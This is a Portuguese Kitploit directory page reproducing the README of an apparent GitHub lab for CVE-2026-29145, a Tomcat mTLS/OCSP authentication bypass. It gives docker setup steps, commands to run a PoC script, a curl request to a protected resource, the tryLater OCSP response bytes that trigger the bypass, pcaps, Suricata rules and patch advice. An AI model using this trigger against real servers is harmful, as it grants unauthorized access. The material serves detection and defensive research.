Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-29145-Everything — Ambiente de PoC reproduzível para CVE-2026-29145 Apache Tomcat bypass de soft-fail CLIENT_CERT + OCSP, incluindo scripts de exploit, responder OCSP mock e regras de detecção do Suricata. | Kitploit
Ferramentas/GitHubGitHub/gkdgkd123/cve-2026-29145-everything
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoEvasão de IDS/IPSExploração de Aplicações WebTestes de PenetraçãoDetecção de IntrusãoAprendizado e Educação

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Labs e Prática
GitHubgkdgkd123/cve-2026-29145-everything

CVE-2026-29145-Everything

Ambiente de PoC reproduzível para CVE-2026-29145 Apache Tomcat bypass de soft-fail CLIENT_CERT + OCSP, incluindo scripts de exploit, responder OCSP mock e regras de detecção do Suricata.

Ver Repositório
115há 2 mesesAinda não revisado

CVE-2026-29145 Everything

Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass ambiente de reprodução completo, pacotes de tráfego de exploração e material para criação de regras de detecção no Suricata.

Apenas para pesquisa de segurança autorizada e desenvolvimento de regras de detecção. Não use em sistemas não autorizados.


Resumo da Vulnerabilidade

ItemDescrição
CVECVE-2026-29145
ComponenteApache Tomcat / Tomcat Native
TipoBypass de autenticação (mTLS / CLIENT_CERT)
CVSS9.1 (NVD) / Moderada (Apache)
Versões afetadasTomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13, etc.
Versões corrigidasTomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+

Princípio da Vulnerabilidade

Quando o Tomcat está configurado com CLIENT_CERT e OCSP, e com ocspSoftFail=false (falha rígida), alguns caminhos de falha OCSP (especialmente o status de resposta tryLater) ainda não são tratados como falha rígida, fazendo com que certificados de cliente que deveriam ser rejeitados sejam aceitos, permitindo acesso a recursos protegidos.

A correção oficial (ex.: commit fe26667c do Tomcat) alinhou o tratamento do OCSP TRY_LATER no caminho FFM com o Tomcat Native.

Conclusões dos testes deste repositório

No Tomcat 10.1.52 + Tomcat Native 2.0.12:

Comportamento OCSPocspSoftFailResultado
DER tryLater (30 03 0a 01 03)falseHTTP 200 — Bypass bem-sucedido
HTTP 500falseTLS rejeitado (falha rígida ativa)
Timeout OCSPfalseTLS rejeitado
Qualquer falhatrue200 (soft-fail esperado)

Ponto crítico: é necessário retornar tryLater conforme RFC 6960; apenas HTTP 500 não é suficiente para disparar o bypass neste ambiente.


Conteúdo do Repositório

CVE-2026-29145-Everything/
├── README.md                 # Este arquivo
├── REPRODUCTION.md           # Notas detalhadas de reprodução e dicas para Suricata
├── docker-compose.yml        # Tomcat vulnerável + Mock OCSP
├── poc_exploit.py            # Script de exploração/detecção (exit 10 = vulnerável)
├── simple_proxy_fail.py      # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh            # Gera certificados CA / servidor / cliente (com AIA OCSP)
├── capture_exploit.sh        # Captura de pacotes com um clique
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # Mapeamento de usuários CLIENT-CERT
│   ├── ROOT/                 # Patch mínimo para a imagem oficial padrão ROOT
│   └── protected/            # Recurso protegido + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ Tráfego de exploração já capturado (para criar regras)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # Pacote principal: mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # Apenas OCSP em texto claro
    ├── CVE-2026-29145-mtls-only.pcap       # Apenas TLS na porta 8443
    └── exploit_response.html               # Snapshot da resposta de exploração bem-sucedida

O diretório de chaves privadas certs/ é ignorado por padrão no .gitignore e deve ser gerado localmente.


Início Rápido

Dependências

  • Docker / Docker Compose
  • OpenSSL
  • Python 3.7+ (pip install -r requirements.txt ou python3-requests do sistema)
  • tcpdump (opcional, para captura de pacotes)

Reprodução com um comando

git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. Gerar certificados (AIA aponta para o nome do serviço OCSP no Docker)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. Iniciar o ambiente (padrão OCSP_MODE=try_later)
docker compose up -d
# Aguardar healthy
docker compose ps

# 3. Executar o PoC
python3 poc_exploit.py
# Saída esperada:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# Código de saída 10 = vulnerável; 0 = não explorável / corrigido

Verificação manual:

curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

Captura de pacotes (preservar tráfego)

./capture_exploit.sh
# Saída em pcaps/CVE-2026-29145-*.pcap

O repositório já inclui um pcap de exploração bem-sucedida, que pode ser usado diretamente para validação de regras Suricata, sem necessidade de recapturar.


Modos Mock OCSP

# tryLater — caminho de disparo do CVE (padrão)
OCSP_MODE=try_later docker compose up -d --force-recreate

# Falha HTTP 500 (neste ambiente, falha rígida rejeita)
OCSP_MODE=fail docker compose up -d --force-recreate

# Simular OCSP bem-sucedido (body não é DER real, apenas teste de conectividade)
OCSP_MODE=succeed docker compose up -d --force-recreate

# DER internalError
OCSP_MODE=internal_error docker compose up -d --force-recreate

Características do Tráfego (Materiais para Suricata)

Importante: A porta 8443 é mTLS criptografado com TLS 1.3; abri-la diretamente no Wireshark parece lixo.
A porta 8888 é OCSP HTTP em texto claro; para criar regras, priorize o OCSP.
Instruções completas em pcaps/README.md.

Arquivos Recomendados

ArquivoDescrição
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.logSessão completa descriptografável
pcaps/CVE-2026-29145-ocsp-only.pcapOCSP em texto claro (sem necessidade de chaves)
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txtTexto legível HTTP OCSP
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txtTexto HTTP do negócio descriptografado
rules/cve-2026-29145.rulesRegras Suricata de exemplo

OCSP em texto claro (pode ser detectado diretamente online)

POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

HTTP do negócio descriptografado (com sslkeys.log)

GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

Detalhes completos em REPRODUCTION.md e pcaps/README.md.


Pontos de Configuração (server.xml vulnerável)

<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

O CLIENT-CERT da camada de aplicação está em tomcat/protected/WEB-INF/web.xml.


Recomendações de Correção

  1. Atualize o Tomcat para 10.1.53+ (ou a versão corrigida correspondente)
  2. Atualize também o Tomcat Native para 2.0.14+
  3. Revise a política de ocspSoftFail e a acessibilidade do OCSP; realize testes de regressão para comportamentos de inacessibilidade/tryLater

Limpeza

Baixar ferramenta